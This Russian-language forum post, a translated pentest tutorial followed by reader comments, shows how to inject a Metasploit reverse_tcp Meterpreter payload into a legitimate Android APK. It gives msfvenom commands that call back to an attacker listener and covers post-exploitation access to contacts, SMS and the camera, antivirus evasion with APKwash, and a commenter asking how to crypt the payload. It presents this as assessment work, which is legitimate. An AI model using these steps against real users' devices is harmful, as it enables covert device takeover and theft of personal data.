• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Гостевая статья Внедрение полезных нагрузок Metasploit в приложения для Android

Можно использовать легитимное приложение Android в качестве трояна, чтобы использовать фактическое устройство пользователя. Причины того, почему этот тест важен при каждой оценке безопасности Android, заключается в том, что он позволит тестеру определить, существуют ли определенные защиты вокруг двоичного файла. Если это не так, и приложение может быть троянизировано злоумышленником, клиент должен знать об этом.

Процесс внедрения полезных нагрузок Metasploit в приложения для Android может выполняться как вручную, так и автоматически. В этом посте будет рассмотрен автоматизированный процесс. Однако, если время взаимодействия не является фактором, следует рассмотреть ручной метод.

Генерация полезной нагрузки
Прежде всего необходимо создать полезную нагрузку, которая будет использоваться для взлома мобильного устройства. Metasploit Framework можно использовать для этого действия, поскольку он может создать полезную нагрузку и затем скомпилировать ее в виде APK-файла.

Код:
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.1.76 LPORT=4444 R > pentestlab.apk

manual-android-payload-generation.png

Ручная генерация полезной нагрузки Android

Внедрение полезных данных в APK
Перед внедрением полезной нагрузки, сгенерированной выше, необходимо иметь целевой APK-файл.

Существуют различные общедоступные сценарии, которые могут внедрить полезную нагрузку Metasploit в приложение Android. Однако в определенных сценариях можно также использовать MSFVenom, чтобы автоматически создавать и вводить полезную нагрузку Metasploit.

Код:
root@kali:~# msfvenom -x CameraSample.apk -p android/meterpreter/reverse_tcp
LHOST=192.168.1.76 LPORT=4444 -o CameraSample_backdoored.apk

MSFVenom декомпилирует приложение и попытается определить точку подключения, куда будет вводиться полезная нагрузка. Кроме того, это отравит файл приложения Android Manifest дополнительными разрешениями, которые могут быть использованы для действий после эксплуатации. Вывод можно увидеть ниже:
msfvenom-payload-injection.png

MSFVenom - Внедрение полезной нагрузки

Для целей данной статьи apkinjector был использован в качестве инструмента для выполнения действий по загрузке полезной нагрузки. Другие сценарии, которые могут быть использованы для выполнения той же работы:

Примечание. Приложение Android, которое использовалось в демонстрационных целях данной статьи, является приложением реального мира, которое по понятным причинам было переименовано в target.apk.

APK-инжектор будет использовать Apktool, чтобы полностью декомпилировать приложение, внедрить полезную нагрузку, а затем снова скомпилировать и подписать его.
apk-injector.png

APK Инжектор - Расшифровка APK

Затем APK Injector попытается внедрить полезные данные в файл и снова использовать Apktool для компиляции и подписания приложения.

apk-injector-building-the-inject-apk.png

APK Инжектор - Создание инжектированного APK

Слушатель Metasploit должен быть настроен для получения полезной нагрузки:

metasploit-multi-handler-android-payload.png

Metasploit - Обработка полезных нагрузок Android

С того момента, как пользователь установит и откроет измененный APK на своем телефоне, полезная нагрузка будет выполнена и сеанс Meterpreter будет возвращен.
meterpreter-via-injected-apk.png

Meterpreter через вредоносный APK

Есть список задач, которые можно выполнить после эксплуатации, например, проверить, рутировано ли устройство, вывести список контактов, получить SMS-сообщения телефона или просто использовать телефон с камерой, чтобы сделать снимок. Все эти действия зависят от разрешений, которые имеет приложение, которое несет полезную нагрузку, которые определены в файле манифеста Android.

android-post-exploitation.png

Android Пост Эксплуатация

Антивирус
Если на устройстве установлено антивирусное программное обеспечение, то в зависимости от продукта может быть предотвращено выполнение полезной нагрузки на устройстве. Однако с помощью APKwash можно обойти антивирус . Этот сценарий изменит все строки и файловые структуры, чтобы выполнить уклонение, а затем перестроит пакет с использованием apktool.

apk-wash.png

APK Was

Результаты можно проверить, загрузив окончательный APK на сайт nodistribute.com:
6gRqDUGno4wzLVZOIAt3WFkxX.png


Из списка известных производителей антивирусов только Kaspersky смог обнаружить вредоносный APK, который увеличивает вероятность успешного развертывания вредоносной нагрузки на устройстве. Различные другие инструменты, такие как Veil и Shelter, могут быть использованы для повышения эффективности уклонения от вирусов.

Перевод:
 

demian256

One Level
05.04.2020
1
1
BIT
0
Спасибо за перевод. Статья конечно 2017 года..
Было бы супер, если payload.apk можно было хорошо криптануть..наверняка способ есть, но я вот о нем пока не знаю))
 
  • Нравится
Реакции: mrtyrel

Vlad

Green Team
28.01.2019
92
24
BIT
0
Было бы супер, если payload.apk можно было хорошо криптануть..наверняка способ есть, но я вот о нем пока не знаю))


 
  • Нравится
Реакции: mrtyrel и demian256
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!